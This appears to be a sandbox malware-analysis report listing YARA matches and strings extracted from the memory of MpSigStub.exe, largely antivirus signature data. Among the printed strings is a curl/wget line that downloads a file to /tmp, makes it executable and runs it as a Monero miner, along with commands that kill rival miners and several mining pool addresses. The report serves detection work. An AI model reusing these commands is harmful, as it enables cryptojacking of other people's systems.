        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bf2fb91.170.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bf2fb91.55.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18347963996.0000015B1BF22000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18296064516.0000015B1BF22000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18325517837.0000015B1BF22000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Found strings related to Crypto-MiningShow sources
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpString found in binary or memory: ./meme-acryptonight-ostratum+tcp://xmr.crypto-pool.fr
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: pools.txt
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpString found in binary or memory: window.exe-acryptonight-ostratum+tcp://monerohash.com:2222-u
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpString found in binary or memory: ./meme-acryptonight-ostratum+tcp://xmr.crypto-pool.fr
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpString found in binary or memory: ./meme-acryptonight-ostratum+tcp://xmr.crypto-pool.fr
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: TrojanDownloader:HTML/Xmrminer!mclg
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpString found in binary or memory: URL of mining server
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: /xmr-stak-cpu
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: /c taskkill /f /im NsCpuCNMiner* & tskill NsCpuCNMiner*
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: grep"mine.moneropool.com"|awk'{print$2}'|xargskill-9psauxf|grep-vgrep|grep"xmr.crypto-pool.fr:8080
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: Usage: xmrig [OPTIONS]
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: /c taskkill /f /im NsCpuCNMiner* & tskill NsCpuCNMiner*
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: curl-fssl${url}/h2-o/tmp/avalonsaber||wget-q${url}/h2-o/tmp/avalonsaber)&&chmod+x/tmp/avalonsabernohup/tmp/avalonsaber-opool.minexmr.com
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: XMRig miner
        Source: Foreign_Bank Account Details.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
        Source: unknownHTTPS traffic detected: 172.217.168.46:443 -> 192.168.11.20:49793 version: TLS 1.2
        Source: unknownHTTPS traffic detected: 142.250.186.33:443 -> 192.168.11.20:49794 version: TLS 1.2
        Source: Binary string: \Release\runner.pdb source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmp
        Source: Binary string: ASAM\original\delfiletype\delfiletype\obj\Release\delfiletype.pdb source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmp
        Source: Binary string: Release\arc_2010.pdb source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmp
        Source: Binary string: oyvmhvtgei\bmjc\fee.pdb source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmp
        Source: Binary string: \fcrypt\Release\S\s_high.pdb source: MpSigStub.exe, 00000023.00000003.18300585182.0000015B1A681000.00000004.00000001.sdmp
        Source: Binary string: \natchat-master\x64\Release\natchat.pdb source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp
        Source: Binary string: c:\1\rich\look\80\24\Famous\35\72\special\22\melody.pdb source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp
        Source: Binary string: main\payload\payload.x86.pdb source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmp
        Source: Binary string: CFy92ROzKls\ro\HwtAF.pdb source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmp
        Source: Binary string: -:\MySpys\chrome_cookie_view\Release\crome.pdb source: MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmp
        Source: Binary string: cts\AKL\kh\Release\kh.pdb source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmp
        Source: Binary string: *.pdb.|!\binplace.exe source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmp
        Source: Binary string: .C:\SlackDismort\third\Release\SlackDismort.pdbat source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmp
        Source: Binary string: C:\Proyectos\desktop_apps\Updater\UpdaterVittalia\obj\Release\UpdaterService.pdbxx source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: dciman32.pdb source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: \BeamWinHTTP\Release\BeamWinHTTP.pdb source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmp
        Source: Binary string: msmdsrv.pdb source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmp
        Source: Binary string: Release\NexGenMediaPlayerApp.pdb source: MpSigStub.exe, 00000023.00000003.18293045113.0000015B1BC4D000.00000004.00000001.sdmp
        Source: Binary string: d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\mshta\objfre\i386\mshta.pdb source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmp
        Source: Binary string: he#@1.Pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: heerhWHW#@1wHJnERbRW.Pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: LMIGuardianSvc.pdb source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmp
        Source: Binary string: \Release\gogodele.pdb source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmp
        Source: Binary string: +020202020202020202020202020202020202020.pdb source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmp
        Source: Binary string: \\Desktop\\.+\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: N%Tray Me !.*\\Release\\Tray Me !\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: SpeedNewASK\Debug\spdfrmon.pdb source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp
        Source: Binary string: 0\Adobe Reader.pdb source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmp
        Source: Binary string: fastfat.pdbN source: MpSigStub.exe, 00000023.00000003.18338690411.0000015B1A7CB000.00000004.00000001.sdmp
        Source: Binary string: \release\LSASecretsDump.pdb source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmp
        Source: Binary string: wl-cmd\Release\dll1.pdb source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmp
        Source: Binary string: PD:\projects\new_Clicker\SIV\original\daemon\NewClieckerDll\Release\SIVUpdate.pdb] source: MpSigStub.exe, 00000023.00000003.18318994950.0000015B1A589000.00000004.00000001.sdmp
        Source: Binary string: sctasks.pdbd source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmp
        Source: Binary string: \i386\iSafeKrnlR3.pdb source: MpSigStub.exe, 00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmp
        Source: Binary string: d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\find\objfre\i386\find.pdb source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmp
        Source: Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: MpSigStub.exe, 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmp
        Source: Binary string: ZUsers\Admin\Documents\Visual Studio 2015\Projects\Cryptor2.0 Simple\Release\Cryptor2.0.pdba source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmp
        Source: Binary string: \WinCbt\Release\WinCbt.pdb source: MpSigStub.exe, 00000023.00000003.18318994950.0000015B1A589000.00000004.00000001.sdmp
        Source: Binary string: @C:\Users\AverageGoose\source\repos\GooseLab\Release\GooseLab.pdb source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmp
        Source: Binary string: usp10.pdb source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmp
        Source: Binary string: :b.ProgramISLNetworkStart_win32.0\Release\launch_normal.pdb source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmp
        Source: Binary string: g711codc.pdb3 source: MpSigStub.exe, 00000023.00000003.18338690411.0000015B1A7CB000.00000004.00000001.sdmp
        Source: Binary string: Ransomware.pdbxN source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmp
        Source: Binary string: reg.pdb source: MpSigStub.exe, 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmp
        Source: Binary string: -GMGameStart\bin\release_static\GMUnPacker.pdba source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmp
        Source: Binary string: \SearchProtect\Bin\Release\ProtectService.pdb source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmp
        Source: Binary string: \x64\release\shell.pdb source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmp
        Source: Binary string: hWEHW#@HJERKJERJER^$.Pdb~ source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: mgr.pdb source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmp
        Source: Binary string: bot.pdb source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmp
        Source: Binary string: b-- b3: bs: bue b1f bss b5+(b---b51-b74-bd6-bf8-bbf-ban-bot-bne.bog.bck.bpk.b*m.bup.b.s.but.be /be10b420b180bc01bd31bb91b2c1b-b2b6f2b443b683b7-4bd-4by24b994b8a4b,c4b0c4b{65bd85b-95bfa5bgg5b5j5bd96b2c6bhv6be-7b207bf27b-47b077be87b1a7b4f7b528bi38b478b-88b5-9b7f9b3n9but:bg,?bhi_btn_bio_bro_bbs_bet_b: ab86abs_ab-aab5babgbab.cabadabrdabffabciabgrab[tabstab{tabiuab.wab/wab1-bbc-bb59bb89bbjabbffbbtgbb#jbbcobbcsbbbubb26cba8cb4bcb6ecb4fcbyhcbdmcbcpcbipcb-tcb*.db</dbe0db27dbpadbbbdbccdb\ddbbddb6edbmodboodb.pdbrrdb-4ebhbeb\debhgebehebtiebklebulebomebjoeb.rebirebprebosebrvebrwebmzeb source: MpSigStub.exe, 00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmp
        Source: Binary string: \\UniversalOrchestratorPrivEscPoc\\Release\\UniversalOrchestratorPrivEscPoc\.pdb source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp
        Source: Binary string: .+:.*\\SkypeSpread.pdb source: MpSigStub.exe, 00000023.00000003.18293045113.0000015B1BC4D000.00000004.00000001.sdmp
        Source: Binary string: \Dolphin.pdb source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp
        Source: Binary string: comp.pdbd source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp
        Source: Binary string: acpi.pdb source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp
        Source: Binary string: 'C:\postmaster\merge\Peasants\Billy.pdb] source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmp
        Source: Binary string: c:\Documents and Settings\Administrator\My Documents\Visual Studio Projects\EASZZCDFR\Release\EASZZCDFR.pdb source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmp
        Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdbx source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmp
        Source: Binary string: -C:\backward\inch\enumeration\Atmel\neces.pdb source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp
        Source: Binary string: KF.+:\\Projects\\Crypt\\Stub2005\\Stub2005\\Stub\\Stub\\Release\\.*.pdb source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmp
        Source: Binary string: Ivan\Documents\generic_exe\Release\BHO.pdb source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp
        Source: Binary string: \CCC\obj\Debug\CCC.pdb source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmp
        Source: Binary string: d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\ncpa\objfre\i386\ncpa.pdb source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmp
        Source: Binary string: WhjrkehLkpe;rltjhpow;elkrjjklWEKL#.pdb] source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: EC:\Projects\Docwize\cUniFunctions\obj\DocwizeClient\cUniFunctions.pdbx source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmp
        Source: Binary string: .+:\\src\\tcrypt\\Release\\s_(high|low).pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: api-ms-win-core-io-l1-1-0.pdb source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp
        Source: Binary string: CryptoService.pdb source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmp
        Source: Binary string: WanNengWB\WBUpd32.pdb source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp
        Source: Binary string: msasn1.pdb source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmp
        Source: Binary string: ,\NetGuy_Explorer\Release\NetGuy_Explorer.pdb source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp
        Source: Binary string: Asource\repos\Coronavirus1\Coronavirus1\obj\Debug\Coronavirus1.pdb] source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmp
        Source: Binary string: \TMain\Release\TSvr.pdb source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmp
        Source: Binary string: 6\Desktop\EK\Source\Rina_AC\Rina_AC\Release\Rina_AC.pdb source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp
        Source: Binary string: ,T:\TFS-TradeProject\PDB\Release\TT-Miner.pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: L%D:\\MyCode\\riot.?\\encryptor.+\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: \SearchProtect\bin\Release\HPNotify.pdb source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmp
        Source: Binary string: Bou3asba\obj\Release\Danao.pdb source: MpSigStub.exe, 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmp
        Source: Binary string: c:\RPCInstall\Release\RPCInstall.pdb source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmp
        Source: Binary string: Release DlpHook\Proxy.pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: $\SuperLight\release\MfcDllServer.pdba source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp
        Source: Binary string: $\Season\Wife_low\531\Quart\table.pdb source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmp
        Source: Binary string: \Sample\Release\CNetworking.pdb source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmp
        Source: Binary string: \BypassUac\branches\Download\build\Release\service.pdb source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmp
        Source: Binary string: MC:\Users\wizzlabs\source\repos\ConsoleMap\ConsoleMap\obj\Release\Ehssassi.pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: 2Projects\VerifyAndLaunch\release\GCO Bootstrap.pdb source: MpSigStub.exe, 00000023.00000003.18327831413.0000015B1A891000.00000004.00000001.sdmp
        Source: Binary string: OC:\Users\hoogle168\Desktop\2008Projects\NewCoreCtrl08\Release\NewCoreCtrl08.pdb source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmp
        Source: Binary string: \mywscript.pdb source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmp
        Source: Binary string: \CRP\Release\Mount.pdbaD source: MpSigStub.exe, 00000023.00000003.18338690411.0000015B1A7CB000.00000004.00000001.sdmp
        Source: Binary string: :Release\haozip.chs\bin\Win32\release\pdb\HaoZip7zSetup.pdb source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmp
        Source: Binary string: \Release\MyEncrypter2.pdb source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmp
        Source: Binary string: 7h4qMQ1edvEOY+wQIOdVR_v.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: c:\dev\torntv\Release\TornTVApp.pdb source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmp
        Source: Binary string: winlogon.PDB source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: K8MiniPage.pdbx source: MpSigStub.exe, 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmp
        Source: Binary string: \RUNPCH\Release\GUO_CAU.pdb source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: 0.pdb source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmp
        Source: Binary string: \bundler\Production\bundler.pdb source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp
        Source: Binary string: api-ms-win-core-shlwapi-obsolete-l1-1-0.pdb source: MpSigStub.exe, 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmp
        Source: Binary string: D:\C++\AsusShellCode\Release\AsusShellCode.pdb source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmp
        Source: Binary string: advapi32.pdbx source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmp
        Source: Binary string: costura.injectordll.pdb source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmp
        Source: Binary string: )\CVE-2019-0803201992\Release\poc_test.pdb source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp
        Source: Binary string: cleanmgr.pdbPE source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmp
        Source: Binary string: [H:\My Data\My Source Code\Microsoft Office 2010\AutoKMS\AutoKMS\obj\x86\Release\AutoKMS.pdb source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmp
        Source: Binary string: mpengine.pdbOGPS source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmp
        Source: Binary string: A .+\\WormWin32 Poenon.+\\.+.pdb source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmp
        Source: Binary string: f:\project_2008\Fileman_candle_kgrid\Filebus\Bin\UpdateWindow.pdb source: MpSigStub.exe, 00000023.00000003.18314518681.0000015B1B7A8000.00000004.00000001.sdmp
        Source: Binary string: wRHWRH@4hjethwehgw.pdb source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp
        Source: Binary string: sfix\Release\sfix.pdb source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmp
        Source: Binary string: unknowndll.pdba~ source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp
        Source: Binary string: \fiDarSayebni.pdb source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmp
        Source: Binary string: \[Release.Win32]Clicker.pdb source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp
        Source: Binary string: IperiusRDPClient.pdb source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmp
        Source: Binary string: %KMS Client\bin\Release\KMS Client.pdba} source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp
        Source: Binary string: hmld1\Release\hmld1.pdb source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmp
        Source: Binary string: S\ccnet\Publish_Client\work\src\mainapp\Abacus.LaunchMail\bin\Release\LaunchMail.pdb source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\attrib\objfre\i386\attrib.pdbP& source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmp
        Source: Binary string: wajam_goblin.pdb source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmp
        Source: Binary string: C:\SuccWare\SuccWare\obj\Debug\SuccWare.pdb source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp
        Source: Binary string: \\qbot_debugger\\.+\\qbot_debugger\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: d:\av\common_main.obj.x86chk\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\twunk_16\objchk\i386\twunk_16.pdb source: MpSigStub.exe, 00000023.00000003.18334190857.0000015B1A60C000.00000004.00000001.sdmp
        Source: Binary string: MsiDatabaseMerge.pdb source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmp
        Source: Binary string: joy.pdb source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: WebBrowserPassView.pdb source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmp
        Source: Binary string: msimg32.pdb source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp
        Source: Binary string: E:\Work\SaveVid\Savevid-WS-Trunk\InstallCore\rbin\soffer.pdb source: MpSigStub.exe, 00000023.00000003.18301552816.0000015B1B9FA000.00000004.00000001.sdmp
        Source: Binary string: GCWYq1g.pdb source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmp
        Source: Binary string: *.pdb.|!%WINDIR%\Microsoft.NET\mscorsvw.exe source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmp
        Source: Binary string: mfcsubs.pdb source: MpSigStub.exe, 00000023.00000003.18331238413.0000015B1AAC2000.00000004.00000001.sdmp
        Source: Binary string: Release\NtdsAudit.pdb source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: netsh.pdbj source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: BTR.pdbGCTL source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmp
        Source: Binary string: mshta.pdb source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmp
        Source: Binary string: PROZIPPER.pdb source: MpSigStub.exe, 00000023.00000003.18318994950.0000015B1A589000.00000004.00000001.sdmp
        Source: Binary string: sfxrar32\Release\sfxrar.pdbxB source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp
        Source: Binary string: \\win\\build\\src\\build\\Release\\chrome_frame_helper\.exe\.pdb source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp
        Source: Binary string: ddraw.pdb source: MpSigStub.exe, 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmp
        Source: Binary string: GPDFDocument.pdb source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmp
        Source: Binary string: *\ClientPlugin\obj\Release\ClientPlugin.pdb source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmp
        Source: Binary string: wbadmin.pdb source: MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmp
        Source: Binary string: Unite.pdb source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmp
        Source: Binary string: \Release\WCmouiTri.pdb] source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp
        Source: Binary string: \MailClient\Release\MailClient.pdb source: MpSigStub.exe, 00000023.00000003.18329672768.0000015B1ADDA000.00000004.00000001.sdmp
        Source: Binary string: L%D:\\MyCode\\riot.?\\decryptor.+\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: :FreeDownloadmanager\obj\x86\Debug\FreeDownloadManager.pdbx source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmp
        Source: Binary string: d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\w32tm\objfre\i386\w32tm.pdb source: MpSigStub.exe, 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmp
        Source: Binary string: Flipopia.pdb source: MpSigStub.exe, 00000023.00000003.18314518681.0000015B1B7A8000.00000004.00000001.sdmp
        Source: Binary string: \Ozrenko\Documents\Work\Interstat2\Interstat2\Weather\Interstat.pdb source: MpSigStub.exe, 00000023.00000003.18350085117.0000015B1B6E3000.00000004.00000001.sdmp
        Source: Binary string: nethtsrv.pdb source: MpSigStub.exe, 00000023.00000003.18288248948.0000015B1B1FB000.00000004.00000001.sdmp
        Source: Binary string: Users\Legion\source\repos\curl\Release\curl.pdb source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmp
        Source: Binary string: Downloads\notepad-master\Release\notepad.pdb source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmp
